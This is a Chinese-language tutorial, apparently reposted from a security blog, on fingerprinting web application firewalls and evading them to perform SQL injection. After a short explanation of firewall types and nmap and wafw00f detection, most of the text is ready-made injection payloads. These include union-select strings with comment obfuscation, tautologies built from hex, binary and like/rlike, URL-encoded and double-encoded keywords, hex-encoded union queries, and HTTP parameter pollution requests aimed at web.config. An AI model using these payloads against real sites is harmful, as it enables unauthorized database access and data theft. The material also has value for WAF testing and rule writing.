0x01 什么是防火墙
防火墙是一种安全系统,可控制网络,服务器或应用程序之间的通信。同时有软件和硬件防火墙。
WAF常见类型
网络层防火墙
Web应用程序防火墙
网络层防火墙
网络层防火墙在TCP/IP协议栈的较低级别运行,除非数据包与已建立的规则集匹配,否则不允许数据包通过防火墙是白名单或黑名单。防火墙管理员可以定义规则;或可以应用默认规则。这种类型的防火墙通常在数据包未通过规则集时将其丢弃。很多时候,当你的数据包完全被丢弃并显示服务器没有答复时,注入应用程序时,可以假定这是一个网络防火墙。
在这里,我们举例这个防火墙的行为。
正常请求:
http://www.example.com/xxx.php?id=1
无防火墙SQL注入语句
http://www.example.com/xxx.php?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
Bypass防火墙SQL注入语句
http://www.example.com/xxx.php?id=1 union select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
WEB应用程序防火墙
WAF通常以某种代理方式部署在Web应用程序的前面,因此它们看不到我们网络上的所有流量。通过在流量到达Web应用程序之前对其进行监视,WAF可以在将请求传递之前分析请求。因为IPS被设计为询问所有网络流量,所以它们无法像WAF那样对应用程序层进行全面分析。
示例MOD
正常URL请求:
http://www.example.com/xxx.php?id=1
Bypass MOD WAF:
http://www.example.com/xxx.php?id=1'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7
WAF是一种很好的安全性,但是您不能仅仅让应用程序容易受到攻击,而完全依靠WAF来确保安全性。
0x02 检测WAF
有许多工具和脚本可以检测和识别应用程序上的WAF存在,包括但不限于
NMAP
wafw00f
检查响应标头,
检查响应正文,
等。
使用NMAP检测WAF
nmap -p80 --script http-waf-detect <目标>
使用NMAP对WAF进行指纹识别
nmap -p80 --script http-waf-fingerprint <目标>
用WAFw00f指纹对WAF进行识别
wafw00f.py url
处理的WAF后,可以搜索其可用的Bypass。
现在转到所有Inj3ct0rs中最喜欢的方法,即手动绕过WAF。
使用的方法类型和绕过的方法
学习WAF Bypass方法,将它们结合起来并混合在一起,形成复杂的WAF Bypass方法。
1.不同类型的编码
编码的类型很多,其中一些受应用服务器支持,一些受Web应用程序支持,而某些受数据库服务器支持。当我们发送请求时,在输入到达数据库之前,它会经过许多层和不同类型的应用程序,这就是为什么我们能够多次使用数据库服务器但其他应用程序不支持的不同类型的编码和双重编码的原因在两者之间,这可能会解码我们的输入并将其传递给数据库服务器。有时利用这种行为可以帮助我们绕过WAF。
让我们举一个基本的例子,在应用程序上实现了一个不错的文件墙。该应用程序具有一个get参数输入,该输入首先被编码为Base64,然后被编码为Rot13,现在这里是有趣的部分。当我们注入这样的应用程序时,我们的输入将被编码并绕过WAF,接下来是应用程序将其解码,然后发送到数据库服务器。在这里,我们绕开了WAF,因为我们对输入进行了编码,而应用程序则在将其传递到数据库之前对其进行了解码。
通过这种方式,我们可以使用多种不同类型的编码来绕过WAF,例如URL编码,混合,二进制,Unicode等。首先,我们将从绕过当今许多WAF阻止的测试条件规则开始。
例如:
1 or 1=1
1' or ''='
1" or ""="
1' or true#
1" or true#
1 or true#
... ...
我们混合一些常识和编码来绕过此类过滤器
or '1
|| '1
null' || 'a'=_binary'a
1' || 'a'=x'61
1' && '0'=x'30
1' %26%26 %270%27%3dx'30
2' && 0.e1=_binary"0
1 or 1.e1=0b1010
' || 1 like 1
'-'
"-"
' || 2 not like 1
110 or x'30'=48
'1'!=20
1 or 20!='1'
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x'30'
1 or 0b1
2121/**/||21
111' or _binary'1
1 or 2121
1' or 12 rlike '1
使用上述Bypass并将其混合在一起,可以生成成千上万种不同的有效负载和Bypass。在这里,我使用了二进制,十六进制编码以及一些要绕开的关键字。实际上,WAF使用与其定义的规则集来检测任何恶意软件。因此,我们需要产生一些不同的东西来混淆它们。
如果不了解上述方法,那么这里是在SQL中使用Hex,Like和Rlike的基本说明
二元
Select 1 from dual where 0b1010=10
十六进制
Select 1 from dual where '0'=x'30'
六角
Select 1 from dual where 0x30='0'
Like语句
Select 1 from dual where 1 like 1
类似声明
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1
示例:
http://www.example.com/xxx.php?id=1 or 1=1
http://www.example.com/xxx.php?id=1 or 0>2
http://www.example.com/xxx.php?actionvar=news&id=1 or ''=''
http://www.example.com/xxx.php?actionvar=news&id=1 || 0b1=x'31'
http://www.example.com/xxx.php?actionvar=news&id=1 ||'1'!=20
http://www.example.com/xxx.php?actionvar=news&id=1 || 1=1
http://www.example.com/xxx.php?actionvar=news&id=1 || 1 like 1
http://www.example.com/xxx.php?actionvar=news&id=1 || 12 rlike
众所周知,SQL不支持URL编码,但是Webserver和Apllication支持。因此,我们还可以使用URL编码来绕过WAF。首先是要了解工作原理。有时实施基于网络的防火墙,甚至在应用程序防火墙的情况下,也可能发生WAF在与规则集比较时未对我们的输入进行编码的情况。当我们的输入到达服务器或应用程序时,将其解码,然后将其传递到数据库服务器。通过这种方式,URL编码还可以帮助我们绕过waf多次。
以下是一些URL编码的WAF绕过有效负载的示例:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74
URL编码绕过
http://www.example.com/xxx.php?id=1 unio%6e selec%74 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23
http://www.example.com/xxx.php?id=%2e%30%75%4e%49%4f%6e%28%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%29
现在知道了概念和示例,所以我想提供更多的负载将不成问题,不仅如此,而且在需要时以正确的方式使用URL编码。不仅限于仅对联合选择使用URL编码,还可以对其他关键字和运算符进行编码。
让我们来看看编码的其他用途,这里我们假设WAF阻止/过滤了“0x”的使用,过滤的Injection中的十六进制,并且不允许单引号或双引号。WAF都可以用来解码十六进制输
入并检查恶意内容。我们可以尝试以下方法来克服这种情况。
普通十六进制
select 0x313131
Hexed Bypass Version
select x'313131';
Binary Bypass
select 0b011110100110010101101110;
Bypass using functions
select unhex(x'333133313331');
例如,这里是具有WAF+路由查询注入的应用程序。当我们将注入路由到另一个查询时,WAF会检测到我们的十六进制输入。
Bypass
http://www.example.com/xxx.php?id=1'UnION distinctrow Select 11-- -
十六进制Bypass()
http://www.example.com/xxx.php?id=1' UnION distinctrow Select 0x2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723-- --
十六进制Bypass(二)
http://www.example.com/xxx.php?id=1' UnION uniquerow Select 0x2e312929556e494f6e2064697374696e63742053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362
使用Hex
http://www.example.com/xxx.php?id=1' UnIONdistantrow Select x'2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31332c31342c31352c31362c313723'-
单引号被阻止的情况下
http://www.example.com/xxx.php?id=1' UnION DISTINCTROW选择0b0010111000110001001010010010100101010101011011100100100101001111011011100010000001010011011001010110110001100101011000110111010000100000001100010010110000110010001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101100001100010011001100101100001100010011010000101100001100010011010100101100001100010011011000101100001100010011011100100011-- -
另一种绕过的方法(一)
http://www.example.com/xxx.php?id=1' UnION distinctrow Select unhex('2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723')-- -
另一个绕过的方法(二)
http://www.example.com/xxx.php?id=1' UnION distinctrow Select replace(0x2e312929556e495f7a656e4f6e2053656c5f7a656e65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723,(0x5f7a656e),'')-- -
另一种绕过的方法(三)
http://www.example.com/xxx.php?id=1' UnION distinctrow Select unhex(0x32653331323932393535366534393466366532303533363536633635363337343230333132633332326333333263333432633335326333363263333732633338326333393263333133303263333133313263333133323263333133333263333133343263333133353263333133363263333133373233)-- -
我们可以通过许多其他方式继续绕过上述WAF。
双重编码绕过WAF
此技巧基于在输入到达数据库之前被解码两次时利用此行为。众所周知,Web服务器在将Input参数传递到Web应用程序时会执行基本的URL解码。有时我们可以使用此方法绕过防火墙。
双重URL编码
http://www.example.com/xxx.php?id=1%2b%2575%256e%2569%256f%256e%2b%2573%2545%256c%2545%2563%2574%2b0x3133333731,1222,1333&premflag=&searchcat=buy
2.HTTP参数污染
可能很多人听说过它,但可以肯定很少有人会使用它。首先是HPP,OWASP中的定义-提供多个具有相同名称的HTTP参数可能会使应用程序以无法预期的方式解释值。通过利用这些影响,攻击者可以绕过输入验证,触发应用程序错误或修改内部变量值。由于HTTP参数污染(简称HPP)会影响所有Web技术的构建块,因此存在服务器和客户端攻击。
下表显示了这些应用程序与HPP的默认行为。
现在,如上图所示,ASP.NET将URL中传递的变量的所有实例添加到以逗号分隔的值。我们现在将其用于一些基本的Bypass。
HPP的Bypass
http://www.example.com/xxx.php?id=1'union--+&id=*/%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,'web.config',20,21--
无限HPP Bypass WAF
http://www.example.com/xxx.php?id=1'union--+&id=*/%0aselect 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=15&id=16&id=17&id=18&id='web.config'&id=20&id=21--
转自:安译Sec